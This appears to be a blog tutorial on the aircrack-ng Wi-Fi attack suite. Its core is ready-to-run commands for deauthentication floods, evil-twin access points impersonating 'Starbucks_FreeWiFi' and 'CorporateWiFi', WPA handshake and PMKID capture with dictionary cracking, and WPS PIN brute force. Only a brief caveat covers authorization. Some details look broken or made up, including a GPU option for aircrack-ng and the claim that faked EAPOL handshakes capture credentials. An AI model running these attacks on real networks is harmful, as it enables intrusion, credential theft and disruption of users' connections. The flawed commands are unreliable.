aircrack-ng: A suite for monitoring, attacking, testing, and cracking Wi-Fi networks

What is Aircrack-ng?

Aircrack-ng is a comprehensive suite of tools for assessing WiFi network security. It’s one of the most popular wireless security tools included in Kali Linux, used for:

Monitoring WiFi networks
Capturing packets
Testing WiFi cards and drivers
Cracking WEP and WPA/WPA2-PSK keys
Performing various WiFi attacks

The suite includes over 20 different tools that work together to analyze and exploit wireless networks.

How Aircrack-ng Works

Aircrack-ng operates through several phases:

Monitoring: Putting the wireless card in monitor mode to capture all traffic
Packet Capture: Collecting wireless frames and saving them to a file
Attack: Performing specific attacks to generate traffic or exploit vulnerabilities
Cracking: Analyzing captured data to recover encryption keys

For WEP cracking, it uses statistical attacks on the weak RC4 implementation. For WPA/WPA2, it performs dictionary attacks against captured handshakes.

Installation

Aircrack-ng comes pre-installed in Kali Linux. To verify or install:

Bash

# Check if installed
aircrack-ng

# Install/update in Kali
sudo apt update
sudo apt install aircrack-ng

# Install on other Debian/Ubuntu systems
sudo apt install aircrack-ng

# Install from source
git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng
autoreconf -i
./configure
make
sudo make install
sudo airodump-ng-oui-update

Basic Usage Examples

1. Check WiFi adapter compatibility

Bash

sudo airmon-ng

2. Put interface in monitor mode

Bash

sudo airmon-ng start wlan0

3. Scan for networks

Bash

sudo airodump-ng wlan0mon

4. Capture packets from a specific network

Bash

sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon

5. Crack WEP key

Bash

sudo aircrack-ng -b 00:11:22:33:44:55 capture-01.cap

6. Crack WPA handshake (with wordlist)

Bash

sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 capture-01.cap

Advanced Usage Examples

1. Deauthentication attack to capture handshake

Bash

sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 -c FF:FF:FF:FF:FF:FF wlan0mon

2. Create a fake AP (Evil Twin)

Bash

sudo airbase-ng -a 00:11:22:33:44:55 --essid "FreeWiFi" -c 6 wlan0mon

3. WPA PMKID attack (no clients needed)

Bash

sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
sudo hcxpcaptool -z hashes.txt pmkid.pcapng
sudo aircrack-ng -w wordlist.txt hashes.txt

4. Using the GPU for faster cracking

Bash

sudo aircrack-ng -w wordlist.txt -b 00:11:22:33:44:55 --backend-opt=workload=high capture-01.cap

5. WPS PIN attack

Bash

sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

Command-Line Options (Key Tools)

1. Core AP Configuration

Option	Description
`-a`	Sets the MAC address of the fake AP.
`-c`	Sets the channel for the AP.
`--essid`	Sets the network name (ESSID).
`-X`	Hides the ESSID (makes network “hidden”).
`-A`	Enables Ad-Hoc mode (peer-to-peer networking).
`-W 0\|1`	Forces WEP flag in beacons (`0` = off, `1` = on).
`-I`	Sets beacon interval in milliseconds (default: 100ms).

2. Encryption & Authentication

Option	Description
`-w`	Sets a WEP key for the fake AP.
`-s`	Forces shared key authentication (WEP).
`-S`	Sets shared key challenge length (default: 128).
`-0`	Enables all security modes (WPA/WEP/Open).
`-z`	Sets WPA1 encryption type (`1=WEP40`, `2=TKIP`, `3=WRAP`, `4=CCMP`, `5=WEP104`).
`-Z`	Same as `-z`, but for WPA2.
`-V`	Fakes EAPOL handshake (`1=MD5`, `2=SHA1`, `3=auto`).

3. Attack Modes

Option	Description
`-L`	Caffe-Latte attack (extracts WEP key from clients).
`-N`	cfrag attack (alternative WEP attack, recommended).
`-P`	Responds to all probe requests (even if ESSID not specified).
`-C`	Broadcasts probed ESSIDs (requires `-P`).
`-y`	Disables responses to broadcast probes.

4. Traffic Control & Logging

Option	Description
`-x`	Sets packets per second rate (default: 100).
`-F`	Saves all sent/received frames to a pcap file.
`-q`	Quiet mode (no statistics).
`-v`	Verbose mode (more details).

5. Filtering Options

Option	Description
`--bssid`	Filters by BSSID.
`--bssids`	Reads BSSIDs from a file.
`--client`	Filters by client MAC.
`--clients`	Reads client MACs from a file.
`--essids`	Reads ESSIDs from a file.

Practical Examples

1. Basic Evil Twin Attack

Bash

sudo airbase-ng -a 00:11:22:33:44:55 --essid "Starbucks_FreeWiFi" -c 6 wlan0mon

Creates a fake AP named “Starbucks_FreeWiFi” on channel 6.

2. WEP Caffe-Latte Attack

Bash

sudo airbase-ng -L -c 6 wlan0mon

Attempts to extract WEP keys from connected clients.

3. Capturing WPA Handshakes

Bash

sudo airbase-ng -P -C 30 --essid "VictimWiFi" wlan0mon

Broadcasts “VictimWiFi” and logs handshakes.

4. MITM with Fake EAPOL

Bash

sudo airbase-ng -V 3 -a 00:11:22:33:44:55 --essid "CorporateWiFi" wlan0mon

Fakes EAPOL handshakes to capture credentials.

airodump-ng (packet capture)

Bash

--channel/-c  : Channel to monitor
--bssid/-d    : MAC of AP
-w <prefix>   : Output file prefix
--ivs         : Capture IVs only (WEP)
--output-format : Format for output files

aireplay-ng (packet injection)

Bash

--deauth <count> : Deauthentication attack
--fakeauth <delay> : Fake authentication
--arpreplay      : ARP replay attack
--interactive    : Interactive frame selection

Real-World Use Cases

Penetration Testing: Security professionals use Aircrack-ng to test the security of their organization’s wireless networks.
Network Troubleshooting: Analyzing WiFi performance issues and interference problems.
Digital Forensics: Capturing wireless traffic for forensic analysis.
Security Research: Studying wireless protocols and vulnerabilities.
Lost Password Recovery: Recovering forgotten WiFi passwords (with permission).
Educational Purposes: Learning about wireless security in controlled environments.

Troubleshooting Tips

Common Issues and Solutions:

Monitor mode not working:
- Check if your wireless card supports monitor mode
- Try different drivers
- Use sudo airmon-ng check kill to stop interfering processes
No packets captured:
- Verify you’re on the correct channel
- Ensure you’re close enough to the target
- Check if your card supports packet injection
WPA cracking too slow:
- Use a more powerful wordlist
- Consider GPU acceleration (hashcat)
- Use rules for wordlist mutation
Can’t capture WPA handshake:
- Perform deauthentication attack when clients are active
- Be patient – wait for legitimate clients to connect
Driver issues:
- Research your specific wireless chipset
- Consider external adapters (Alfa AWUS036ACH recommended)
Legal considerations:
- Always get proper authorization before testing
- Be aware of local laws regarding wireless scanning

Aircrack-ng Packages & Binaries Overview

Core Tools

These are the most commonly used tools in the suite:

Binary	Description
`aircrack-ng`	The main tool for cracking WEP/WPA/WPA2 keys using captured packets.
`airodump-ng`	Captures wireless packets and displays real-time network info (BSSID, ESSID, signal strength, clients).
`aireplay-ng`	Packet injection tool (used for deauth attacks, fake auth, ARP replay, etc.).
`airmon-ng`	Enables monitor mode on wireless interfaces.
`airolib-ng`	Stores and manages precomputed WPA/WPA2 PMK (Pairwise Master Key) for faster cracking.
`airbase-ng`	Creates fake APs (Evil Twin attacks).
`airdecap-ng`	Decrypts WEP/WPA/WPA2 capture files if the key is known.
`airdecloak-ng`	Removes WEP cloaking from pcap files.
`airserv-ng`	Allows remote access to a wireless card over a network.
`airtun-ng`	Creates virtual tunnel interfaces for raw packet injection.

Attack-Specific Tools

These tools perform specialized attacks:

Binary	Description
`besside-ng`	Automated tool that cracks WEP and WPA while logging all network traffic.
`easside-ng`	Allows communication with an AP without the WEP key (deprecated).
`tkiptun-ng`	Performs WPA-TKIP attacks (exploits weaknesses in TKIP encryption).
`wesside-ng`	Automated WEP cracking tool (deprecated).
`packetforge-ng`	Creates encrypted packets for injection (used in ARP replay attacks).

Capture & Analysis Utilities

These tools help in processing and analyzing captured data:

Binary	Description
`ivstools`	Manipulates IVS (Initialization Vector) files for WEP cracking.
`makeivs-ng`	Generates IVS files from pcap files.
`wpaclean`	Cleans a pcap file to contain only WPA handshakes.
`airodump-join`	Merges multiple pcap files from `airodump-ng`.

Helper & Utility Tools

Additional tools for managing and optimizing attacks:

Binary	Description
`airodump-ng-oui-update`	Updates the OUI (Organizationally Unique Identifier) database for MAC vendor lookup.
`airventriloquist-ng`	(Experimental) Simulates multiple fake clients on a network.
`buddy-ng`	(Deprecated) Used for WEP cracking automation.
`dcrack`	Distributed WEP cracking tool (deprecated).
`kstats`	Displays WEP key statistical information.

aircrack-ng: A suite for monitoring, attacking, testing, and cracking Wi-Fi networks

What is Aircrack-ng?

How Aircrack-ng Works

Installation

Basic Usage Examples

1. Check WiFi adapter compatibility

2. Put interface in monitor mode

3. Scan for networks

4. Capture packets from a specific network

5. Crack WEP key

6. Crack WPA handshake (with wordlist)

Advanced Usage Examples

1. Deauthentication attack to capture handshake

2. Create a fake AP (Evil Twin)

3. WPA PMKID attack (no clients needed)

4. Using the GPU for faster cracking

5. WPS PIN attack

Command-Line Options (Key Tools)

1. Core AP Configuration

2. Encryption & Authentication

3. Attack Modes

4. Traffic Control & Logging

5. Filtering Options

Practical Examples

1. Basic Evil Twin Attack

2. WEP Caffe-Latte Attack

3. Capturing WPA Handshakes

4. MITM with Fake EAPOL

airodump-ng (packet capture)

aireplay-ng (packet injection)

Real-World Use Cases

Troubleshooting Tips

Common Issues and Solutions:

Aircrack-ng Packages & Binaries Overview

Core Tools

Attack-Specific Tools

Capture & Analysis Utilities

Helper & Utility Tools

Like this:

Leave a ReplyCancel reply

Don't wait until it's too late to protect your online assets.

Previous Post

Next Post

Related Posts